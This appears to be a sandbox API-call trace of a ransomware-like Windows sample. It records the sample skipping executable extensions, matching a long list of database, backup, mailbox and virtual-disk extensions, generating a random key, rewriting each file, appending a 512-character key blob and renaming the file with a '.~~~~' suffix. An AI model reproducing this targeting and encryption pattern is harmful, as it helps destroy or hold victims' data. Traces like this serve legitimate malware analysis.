	[0084.046] lstrlenW (lpString=".dbx") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.046] lstrlenW (lpString=".DB3") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.046] lstrlenW (lpString=".DAT") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.046] lstrlenW (lpString=".VHDX") returned 5
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.046] lstrlenW (lpString=".ndf") returned 4
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.046] lstrlenW (lpString=".DB") returned 3
	[0084.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.047] lstrlenW (lpString=".sql") returned 4
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.047] lstrlenW (lpString=".MYD") returned 4
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.047] lstrlenW (lpString=".DBT") returned 4
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.047] lstrlenW (lpString=".ACCDB") returned 6
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.047] lstrlenW (lpString=".fdb") returned 4
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.047] lstrlenW (lpString=".bak") returned 4
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.047] lstrlenW (lpString=".myd") returned 4
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.047] lstrlenW (lpString=".DTXS") returned 5
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.047] lstrlenW (lpString=".ckp") returned 4
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.047] lstrlenW (lpString=".dbt") returned 4
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.047] lstrlenW (lpString=".db") returned 3
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.047] lstrlenW (lpString=".TXT") returned 4
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.047] lstrlenW (lpString=".MDF") returned 4
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.047] lstrlenW (lpString=".bdb") returned 4
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.047] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.047] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.048] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.048] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.049] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20403867922) returned 1
	[0084.077] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9bf38d70, dwHighDateTime=0x1d60e1e)) 
	[0084.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0084.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0084.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807ca0
	[0084.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807ca0 | out: hHeap=0x300000) returned 1
	[0084.078] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.078] GetLastError () returned 0x0
	[0084.078] GetLastError () returned 0x0
	[0084.078] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.078] GetLastError () returned 0x0
	[0084.078] GetLastError () returned 0x0
	[0084.088] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff904d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.088] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x6fb3, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x6fb3, lpOverlapped=0x0) returned 1
	[0084.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.090] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.090] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.090] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.090] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.091] CloseHandle (hObject=0x120) returned 1
	[0084.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6ba0
	[0084.091] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.~~~~")) returned 1
	[0084.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6ba0 | out: hHeap=0x300000) returned 1
	[0084.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.092] GetLastError () returned 0x0
	[0084.092] RtlWakeConditionVariable () returned 0x365f70
	[0084.092] GetCurrentThreadId () returned 0x3a4
	[0084.092] GetCurrentThreadId () returned 0x3a4
	[0084.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0084.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f70a8 | out: hHeap=0x300000) returned 1
	[0084.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca08 | out: hHeap=0x300000) returned 1
	[0084.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f70a8
	[0084.092] lstrlenW (lpString=".scr") returned 4
	[0084.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.092] lstrlenW (lpString=".cmd") returned 4
	[0084.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.093] lstrlenW (lpString=".dll") returned 4
	[0084.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.093] lstrlenW (lpString=".bat") returned 4
	[0084.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.093] lstrlenW (lpString=".cpl") returned 4
	[0084.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.093] lstrlenW (lpString=".sys") returned 4
	[0084.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.093] lstrlenW (lpString=".msc") returned 4
	[0084.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.093] lstrlenW (lpString=".com") returned 4
	[0084.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.093] lstrlenW (lpString=".lnk") returned 4
	[0084.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.093] lstrlenW (lpString=".msp") returned 4
	[0084.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.093] lstrlenW (lpString=".pif") returned 4
	[0084.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.093] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.133] lstrlenW (lpString=".sqb") returned 4
	[0084.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.133] lstrlenW (lpString=".ost") returned 4
	[0084.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.150] lstrlenW (lpString=".txt") returned 4
	[0084.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.165] lstrlenW (lpString=".mdt") returned 4
	[0084.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.165] lstrlenW (lpString=".BDB") returned 4
	[0084.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.166] lstrlenW (lpString=".eql") returned 4
	[0084.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.166] lstrlenW (lpString=".DBF") returned 4
	[0084.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.166] lstrlenW (lpString=".EQL") returned 4
	[0084.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.166] lstrlenW (lpString=".FDB") returned 4
	[0084.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.166] lstrlenW (lpString=".EDB") returned 4
	[0084.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.166] lstrlenW (lpString=".DACPAC") returned 7
	[0084.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.166] lstrlenW (lpString=".VHD") returned 4
	[0084.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.166] lstrlenW (lpString=".DBV") returned 4
	[0084.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.166] lstrlenW (lpString=".dacpac") returned 7
	[0084.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.166] lstrlenW (lpString=".sdf") returned 4
	[0084.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.167] lstrlenW (lpString=".accdb") returned 6
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.167] lstrlenW (lpString=".DBX") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.167] lstrlenW (lpString=".MDT") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.167] lstrlenW (lpString=".SQB") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.167] lstrlenW (lpString=".vhd") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.167] lstrlenW (lpString=".bac") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.167] lstrlenW (lpString=".mdf") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.167] lstrlenW (lpString=".BAK") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.167] lstrlenW (lpString=".BAC") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.167] lstrlenW (lpString=".dbs") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.167] lstrlenW (lpString=".vhdx") returned 5
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.167] lstrlenW (lpString=".NDF") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.167] lstrlenW (lpString=".dat") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.167] lstrlenW (lpString=".DBS") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.167] lstrlenW (lpString=".CKP") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.167] lstrlenW (lpString=".edb") returned 4
	[0084.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.168] lstrlenW (lpString=".PST") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.168] lstrlenW (lpString=".dbf") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.168] lstrlenW (lpString=".SQL") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.168] lstrlenW (lpString=".pst") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.168] lstrlenW (lpString=".dbv") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.168] lstrlenW (lpString=".SDF") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.168] lstrlenW (lpString=".dtxs") returned 5
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.168] lstrlenW (lpString=".db3") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.168] lstrlenW (lpString=".OST") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.168] lstrlenW (lpString=".dbx") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.168] lstrlenW (lpString=".DB3") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.168] lstrlenW (lpString=".DAT") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.168] lstrlenW (lpString=".VHDX") returned 5
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.168] lstrlenW (lpString=".ndf") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.168] lstrlenW (lpString=".DB") returned 3
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.168] lstrlenW (lpString=".sql") returned 4
	[0084.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.168] lstrlenW (lpString=".MYD") returned 4
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.169] lstrlenW (lpString=".DBT") returned 4
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.169] lstrlenW (lpString=".ACCDB") returned 6
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.169] lstrlenW (lpString=".fdb") returned 4
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.169] lstrlenW (lpString=".bak") returned 4
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.169] lstrlenW (lpString=".myd") returned 4
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.169] lstrlenW (lpString=".DTXS") returned 5
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.169] lstrlenW (lpString=".ckp") returned 4
	[0084.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.169] lstrlenW (lpString=".dbt") returned 4
